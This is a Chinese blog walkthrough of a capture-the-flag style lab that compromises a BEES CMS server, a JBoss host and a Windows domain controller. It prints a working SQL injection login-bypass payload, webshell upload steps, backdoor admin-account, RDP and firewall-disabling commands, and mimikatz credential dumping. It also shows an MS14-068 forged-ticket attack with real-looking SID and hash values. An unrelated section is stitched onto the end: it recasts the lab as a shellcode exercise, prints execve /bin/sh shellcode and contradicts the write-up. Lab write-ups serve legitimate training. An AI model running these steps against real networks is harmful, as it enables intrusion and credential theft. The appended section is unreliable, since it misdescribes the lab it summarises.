cyberstrikelab——lab5,从CMS漏洞到全域沦陷的渗透过程

cyberstrikelab——lab5

场景介绍:重生之我是redteam人员,对某境外公司进行渗透测试。

第一台机器(192.168.10.10)

开启环境下载openvpn配置,连接后打开环境失败,靶场没有把web服务放在80端口,对ip进行全端口扫描看看

 .\fscan.exe -h 192.168.10.10 -p 1-65535

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 1-65535
[*] 开始信息扫描...
[*] 最终有效主机数量: 1
[*] 共解析 65535 个有效端口
[+] 端口开放 192.168.10.10:139
[+] 端口开放 192.168.10.10:445
[+] 端口开放 192.168.10.10:135
[+] 端口开放 192.168.10.10:3306
[+] 端口开放 192.168.10.10:5040
[+] 端口开放 192.168.10.10:6582
[+] 端口开放 192.168.10.10:7680
[+] 端口开放 192.168.10.10:49664
[+] 端口开放 192.168.10.10:49666
[+] 端口开放 192.168.10.10:49665
[+] 端口开放 192.168.10.10:49667
[+] 端口开放 192.168.10.10:49668
[+] 端口开放 192.168.10.10:49669
[+] 端口开放 192.168.10.10:49670
[+] 存活端口数量: 14
[*] 开始漏洞扫描...
[*] 已完成 0/14 [-] MS17010 192.168.10.10 read tcp 172.16.233.2:65294->192.168.10.10:445: wsarecv: An existing connection was forcibly closed by the remote host.
[!] 扫描错误 192.168.10.10:445 - read tcp 172.16.233.2:65294->192.168.10.10:445: wsarecv: An existing connection was forcibly closed by the remote host.
[!] 扫描错误 192.168.10.10:3306 - Error 1130: Host '192.168.122.186' is not allowed to connect to this MySQL server
[!] 扫描错误 192.168.10.10:135 - [-] 解码主机信息失败: encoding/hex: odd length hex string
[!] 扫描错误 192.168.10.10:7680 - Get "https://192.168.10.10:7680": EOF
[*] 网站标题 http://192.168.10.10:6582 状态码:200 长度:17532  标题:BEES企业网站管理系统_企业建站系统_外贸网站建设_企业CMS_PHP营销企业网站��
[!] 扫描错误 192.168.10.10:139 - netbios error
[!] 扫描错误 192.168.10.10:49665 - Get "http://192.168.10.10:49665": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 192.168.10.10:49669 - Get "http://192.168.10.10:49669": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 192.168.10.10:49666 - Get "http://192.168.10.10:49666": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 192.168.10.10:49668 - Get "http://192.168.10.10:49668": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 192.168.10.10:5040 - Get "http://192.168.10.10:5040": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 192.168.10.10:49670 - Get "http://192.168.10.10:49670": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 192.168.10.10:49664 - Get "http://192.168.10.10:49664": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 192.168.10.10:49667 - Get "http://192.168.10.10:49667": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[+] 扫描已完成: 14/14

发现web端口6582,进行访问,发现是beecms框架

img

搜索相关漏洞,这里参考一下friEnd佬写的文章访问网站后台http://192.168.10.10:6582/admin/login.php进行伪造登录

输入验证码,开启抓包拦截

img

user=&password=替换为

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

修改完成后放行,成功登录

img

点击网站设置——>系统设置——>附件设置,在允许上传的文件类型中添加文件类型php注意要用|进行分割,修改后记得点击确认。

访问http://192.168.10.10:6582/admin/admin_file_upload.php进行文件上传来getshell

img

复制返回的文件位置,使用蚁剑连接
img

在根目录下找到flag.txt,成功拿到第一个flag

img

第二台机器(192.168.20.20)

在蚁剑打开终端进行查看,先使用whoami查看当前账户的权限,发现是NT AUTHORITY\SYSTEM,这里简单解释一下这个用户权限,NT AUTHORITY\SYSTEM 是 Windows 系统中最高权限的账户之一(甚至比管理员 Administrator 权限更高),拥有对系统的完全控制权。这里进行添加用户,远程连接访问。

net user xtk 123@abc /add

在Windows系统中net user命令主要用于创建,修改,删除用户账户,上面的命令整体为添加名为xtk的新用户,密码为123@abc

 net localgroup Administrators xtk /add

net localgroup命令用于管理本地用户组,整条命令为将我们新创建的用户添加到用户组Administrators组中,以此来达到用户具有管理员权限。

修改注册表启用远程桌面连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

命令说明

  • REG ADD: 用于向注册表中添加或修改键值。
  • HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server: 注册表路径,控制远程桌面连接的设置。
  • /v fDenyTSConnections: 指定要修改的键值名称。
  • /t REG_DWORD: 指定键值类型为 DWORD。
  • /d 00000000: 设置键值的数值数据为 0(表示启用远程桌面连接)。
  • /f: 强制覆盖现有键值,无需确认。

禁用防火墙

netsh advfirewall set allprofiles state off

命令说明

  • netsh advfirewall: 用于配置高级防火墙设置。
  • set allprofiles: 表示对所有配置文件(域、专用、公用)进行操作。
  • state off: 关闭防火墙。

img

远程连接192.168.10.10,输入我们之前创建好的账号和密码,成功连接

img

打开终端查看机器IP,

C:\Users\xtk>cd Desktop

C:\Users\xtk\Desktop>ipconfig

Windows IP 配置


以太网适配器 以太网实例 0:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::edb8:cff:9b40:3e5a%8
   IPv4 地址 . . . . . . . . . . . . : 192.168.10.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.10.233

以太网适配器 以太网实例 0 2:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::70fe:3063:7a17:bf63%15
   IPv4 地址 . . . . . . . . . . . . : 192.168.20.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.20.1

C:\Users\xtk\Desktop>

可以发现有两张网卡,192.168.10.10的网段已经没有机器可以利用了,接下来就该对内网网段192.168,20.20/24进行渗透测试了。传入fscan进行扫描。

C:\Users\xtk\Desktop>fscan.exe -h 192.168.20.20/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] CIDR范围: 192.168.20.0-192.168.20.255
[*] 已生成IP范围: 192.168.20.0 - 192.168.20.255
[*] 已解析CIDR 192.168.20.20/24 -> IP范围 192.168.20.0-192.168.20.255
[*] 最终有效主机数量: 256
[+] 目标 192.168.20.10   存活 (ICMP)
[+] 目标 192.168.20.20   存活 (ICMP)
[+] 目标 192.168.20.30   存活 (ICMP)
[+] ICMP存活主机数量: 3
[*] 共解析 218 个有效端口
[+] 端口开放 192.168.20.20:135
[+] 端口开放 192.168.20.10:135
[+] 端口开放 192.168.20.30:445
[+] 端口开放 192.168.20.20:445
[+] 端口开放 192.168.20.10:445
[+] 端口开放 192.168.20.30:139
[+] 端口开放 192.168.20.20:139
[+] 端口开放 192.168.20.10:139
[+] 端口开放 192.168.20.30:135
[+] 端口开放 192.168.20.30:88
[+] 端口开放 192.168.20.20:8080
[+] 端口开放 192.168.20.20:8009
[+] 端口开放 192.168.20.10:7680
[+] 端口开放 192.168.20.10:3306
[+] 存活端口数量: 14
[*] 开始漏洞扫描...
[!] 扫描错误 192.168.20.10:445 - read tcp 192.168.20.10:50417->192.168.20.10:445: wsarecv: An existing connection was forcibly closed by the remote host.
[!] 扫描错误 192.168.20.30:445 - read tcp 192.168.20.10:50415->192.168.20.30:445: wsarecv: An existing connection was forcibly closed by the remote host.
[*] NetInfo
[*] 192.168.20.30
   [->] WIN-7NRTJO59O7N
   [->] 192.168.20.30
[!] 扫描错误 192.168.20.20:445 - 无法确定目标是否存在漏洞
[!] 扫描错误 192.168.20.10:135 - [-] 解码主机信息失败: encoding/hex: odd length hex string
[!] 扫描错误 192.168.20.30:88 - Get "http://192.168.20.30:88": read tcp 192.168.20.10:50424->192.168.20.30:88: wsarecv: An existing connection was forcibly closed by the remote host.
[*] NetInfo
[*] 192.168.20.20
   [->] cyberweb
   [->] 192.168.20.20
[!] 扫描错误 192.168.20.30:139 - netbios error
[!] 扫描错误 192.168.20.10:7680 - Get "https://192.168.20.10:7680": EOF
[!] 扫描错误 192.168.20.20:8009 - Get "https://192.168.20.20:8009": EOF
[*] NetBios 192.168.20.20   cyberweb.cyberstrikelab.com         Windows Server 2012 R2 Standard 9600
[!] 扫描错误 192.168.20.10:139 - netbios error
[*] 网站标题 http://192.168.20.20:8080 状态码:200 长度:1554   标题:Welcome to JBoss AS
[+] 发现指纹 目标: http://192.168.20.20:8080 指纹: [Jboss]
[!] 扫描错误 192.168.20.10:3306 - Error 1130: Host 'DESKTOP-JFB57A8' is not allowed to connect to this MySQL server
[+] 扫描已完成: 14/14
[*] 扫描结束,耗时: 19.0535783s

简单汇总一下扫描出来的信息,扫描出来20网段存活主机3台,其中192.168.20.10是我们已经拿下的主机也就是当前主机(192.168.10.10),192.168.20.20主机名为cyberweb,域名为cyberstrikelab.com,OS为Windows Server 2012 R2,并且在8080端口存在web服务且指纹探测出来为Jboss192.168.20.30主机名:WIN-7NRTJO59O7N这里虽然知道存在域环境,而且域控主机大概率为192.168.20.30,这里严谨一下,ping一下域名来确定域控机器

C:\Users\xtk\Desktop>ping cyberstrikelab.com

正在 Ping cyberstrikelab.com [192.168.20.30] 具有 32 字节的数据:
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.20.30 的回复: 字节=32 时间<1ms TTL=128

192.168.20.30 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\xtk\Desktop>

根据结果可以确定域控靶机为192.168.20.30的机器。

之前也提到了192.168.20.20的8080端口上存在web服务,且指纹探测出来时Jboss。这里应该搭建socks代理出来,然后利用我们的Jboss框架漏洞利用工具进行攻击,这里发现一个问题,我用的jboss框架漏洞利用工具不能使用代理,这里直接探测一下192.168.10.10的机器上是否存在java环境,

img

很幸运啊,我们的192.168.10.10上存在java环境,直接传过去一个,在192.168.10.10上启动Jboss漏洞利用工具。

img

扫描出存在漏洞,选用2013_4810漏洞进行利用,执行whoami后发现权限为nt authority\system,再次添加用户开启远程桌面。命令跟上面一样这里就不再次进行叙述了。

img

成功开启远程桌面之后,使用4dnat搭建一个socks5代理。

4dnat.exe -proxy -socks 10000

这里端口可以自定义,只要修改proxychains相应的配置文件即可。

proxychains rdesktop 192.168.20.20

使用其他用户登录,输入自己之前创建的账号密码。

img

成功登录,根目录获取flag

img

这里也可以不搭建代理直接使用192.168.10.10来进行连接。

第三台机器(192.168.20.30)

连接完成以后传mimikatz.exeMS14-068.exe192.168.20.20上。什么你问我为什么要传这两个工具上去?因为把能想到的漏洞都试过了,最后在其他大佬的指点下才想起来这个漏洞。

简单说一下什么是MS14-068漏洞MS14-068 是微软于2014年修复的一个高危漏洞(CVE-2014-6324),影响 Kerberos 协议,允许普通域用户快速提升权限至域管理员(Domain Admin),从而完全控制整个域环境。主要原理是因为Kerberos PAC 验证缺陷,Kerberos 身份认证过程中,用户票据(TGT/TGS)包含一个 特权属性证书(PAC),用来声明用户权限,MS14-068就是通过伪造PAC来在请求票据时绕过域控的验证,生成高权限票据,来接管整个域。

查看一下SID,这里查看机器账户的SID,进入注册表进行查看,win+r后输入regedit,回车进入注册表,选择路径到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList进行查看

img

这里选择使用机器账户的SID,原因很简单另外两个的是本地,只有S-1-5-21-3614065708-1162526928-2578637-1104这个的域名标识符是我们前面说的域控cyberstrikelab.com的。

通过命令进行hash抓取:

.\mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"

img

抓取到hash后进行MS14-068漏洞利用,先生成伪造的 TGT

.\MS14-068.exe -u cyberweb$@cyberstrikelab.com -s  S-1-5-21-3614065708-1162526928-2578637-1104 -d 192.168.20.30 --rc4 dc59430fbf93a73cc25f92300aaecade5708

img

通过mimikatz将伪造出来的TGT注入票证

 .\mimikatz.exe "kerberos::ptc TGT_cyberweb$@cyberstrikelab.com.ccache" "exit"

img

注入成功!

对域内的资源进行访问,开始读取第三台机器的flag。(这里的机器名之前fscan扫描出来过,也可以使用mimikatz来获取)

type \\WIN-7NRTJO59O7N \C$\flag.txt

img

成功获取

### 关于CyberStrikeLab Lab5的教程与解决方案 在网络攻防技术领域,Shellcode编写是一项重要的技能。对于CyberStrikeLab Lab5中的shellcode编写实验,该实验旨在帮助学习者理解如何创建和执行shellcode。此过程涉及多个方面,包括但不限于反汇编、调试以及操作系统底层机制的理解。 #### 实验目标 实验的主要目的是让参与者掌握基本的shellcode开发技巧,了解如何绕过某些安全措施来实现特定功能,比如启动命令行解释器(如`/bin/sh`)。这不仅有助于加深对计算机系统工作原理的认识,还能够提高应对实际网络安全挑战的能力[^1]。 #### 准备工作 为了顺利完成这个实验,建议先熟悉Linux环境下的编程工具链,特别是GCC编译器及其选项;另外还需要安装并配置好必要的软件包,例如GDB调试器用于分析二进制文件的行为模式。此外,在开始之前应该仔细阅读官方文档中关于设置虚拟机的具体指南。 #### 编写简单的Shellcode 下面是一个非常基础的例子,展示了怎样构建一段能够在x86架构下工作的简单shellcode: ```assembly section .text global _start _start: xor eax, eax ; 清零EAX寄存器 push eax ; 将0压入栈顶作为字符串终止符 push 0x68732f6e ; "hs/n" push 0x69622f2f ; "ib//" mov ebx, esp ; EBX指向"/bin//sh\0"所在位置 push eax ; 推送NULL指针到argv[] mov ecx, esp ; ECX现在保存着指向argv[]数组头部的位置 push eax ; envp也设为空表 mov edx, esp ; EDX接收envp参数 mov al, 0xb ; syscall number for execve() int 0x80 ; 调用内核中断触发execve("/bin//sh", NULL, NULL); ``` 这段程序通过调用`execve()`系统调用来尝试启动一个新的进程——即/bin/sh shell。需要注意的是,这里展示的内容仅为教学目的而设计,并不适用于任何非法用途。 #### 安全注意事项 在进行此类实验时务必谨慎行事,确保所有操作都在受控环境中完成,避免意外损害个人或其他人的财产利益。同时也要注意遵守当地法律法规的要求,不得利用所学知识从事任何形式的危害信息安全活动。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值